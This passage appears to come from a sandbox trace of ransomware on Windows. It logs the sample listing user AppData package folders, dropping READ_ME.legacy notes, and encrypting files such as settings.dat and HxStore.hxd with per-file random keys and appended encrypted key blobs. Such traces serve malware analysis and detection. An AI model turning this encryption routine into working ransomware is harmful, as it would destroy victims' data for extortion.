"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x126c [0161.831] WriteFile (in: hFile=0x126c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.831] CloseHandle (hObject=0x126c) returned 1 [0161.832] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179d576, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x126c [0161.833] WriteFile (in: hFile=0x126c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.833] CloseHandle (hObject=0x126c) returned 1 [0161.833] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179dc05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.834] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x126c [0161.834] WriteFile (in: hFile=0x126c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.839] CloseHandle (hObject=0x126c) returned 1 [0161.839] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.840] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179e373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.840] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179e373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.840] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9ca37, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179ebc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f623d8 [0161.840] FindNextFileW (in: hFindFile=0x2f623d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9ca37, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179ebc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.840] FindNextFileW (in: hFindFile=0x2f623d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0161.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0161.841] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.842] ReadFile (in: hFile=0x1280, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.842] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.842] WriteFile (in: hFile=0x1280, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.842] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.842] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.843] WriteFile (in: hFile=0x1280, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.844] WriteFile (in: hFile=0x1280, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.845] CloseHandle (hObject=0x1280) returned 1 [0161.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0161.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0161.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.998] ReadFile (in: hFile=0x1280, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.059] SetFilePointer (in: hFile=0x1280, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.059] WriteFile (in: hFile=0x1280, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.060] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.060] WriteFile (in: hFile=0x1280, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.061] WriteFile (in: hFile=0x1280, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.061] CloseHandle (hObject=0x1280) returned 1 [0162.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0162.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.218] ReadFile (in: hFile=0x1280, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.237] SetFilePointer (in: hFile=0x1280, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.238] WriteFile (in: hFile=0x1280, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.238] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.239] WriteFile (in: hFile=0x1280, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.239] WriteFile (in: hFile=0x1280, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.239] CloseHandle (hObject=0x1280) returned 1 [0162.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0162.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.242] ReadFile (in: hFile=0x1280, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.242] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.242] WriteFile (in: hFile=0x1280, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.242] SetFilePointer (in: hFile=0x1280, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.243] WriteFile (in: hFile=0x1280, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.244] WriteFile (in: hFile=0x1280, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.244] CloseHandle (hObject=0x1280) returned 1 [0162.247] WriteFile (in: hFile=0x128c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.249] CloseHandle (hObject=0x128c) returned 1 [0162.250] WriteFile (in: hFile=0x128c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.251] CloseHandle (hObject=0x128c) returned 1 [0162.252] WriteFile (in: hFile=0x128c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.253] CloseHandle (hObject=0x128c) returned 1 [0162.312] WriteFile (in: hFile=0x128c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.314] CloseHandle (hObject=0x128c) returned 1 [0162.315] WriteFile (in: hFile=0x1298, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.316] CloseHandle (hObject=0x1298) returned 1 [0162.317] WriteFile (in: hFile=0x1298, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.318] CloseHandle (hObject=0x1298) returned 1 [0162.319] WriteFile (in: hFile=0x1298, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.320] CloseHandle (hObject=0x1298) returned 1 [0162.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0162.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0162.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\HxStore.hxd", dwFileAttributes=0x80) returned 1 [0162.338] ReadFile (in: hFile=0x1298, lpBuffer=0x3521020, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3521020*, lpNumberOfBytesRead=0x2e1f9bc*=0x400000, lpOverlapped=0x0) returned 1 [0162.581] SetFilePointer (in: hFile=0x1298, lDistanceToMove=-4194304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.581] WriteFile (in: hFile=0x1298, lpBuffer=0x3935020*, nNumberOfBytesToWrite=0x400000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3935020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x400000, lpOverlapped=0x0) returned 1 [0162.654] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x400000 [0162.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.655] WriteFile (in: hFile=0x1298, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.663] WriteFile (in: hFile=0x1298, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.664] CloseHandle (hObject=0x1298) returned 1 [0162.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.669] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.669] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0162.670] ReadFile (in: hFile=0x12a0, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.670] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.670] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.670] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.670] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.671] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.672] CloseHandle (hObject=0x12a0) returned 1 [0162.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0162.674] ReadFile (in: hFile=0x12a0, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0162.688] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.688] WriteFile (in: hFile=0x12a0, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0162.689] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0162.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.689] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.689] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.690] CloseHandle (hObject=0x12a0) returned 1 [0162.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0162.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, 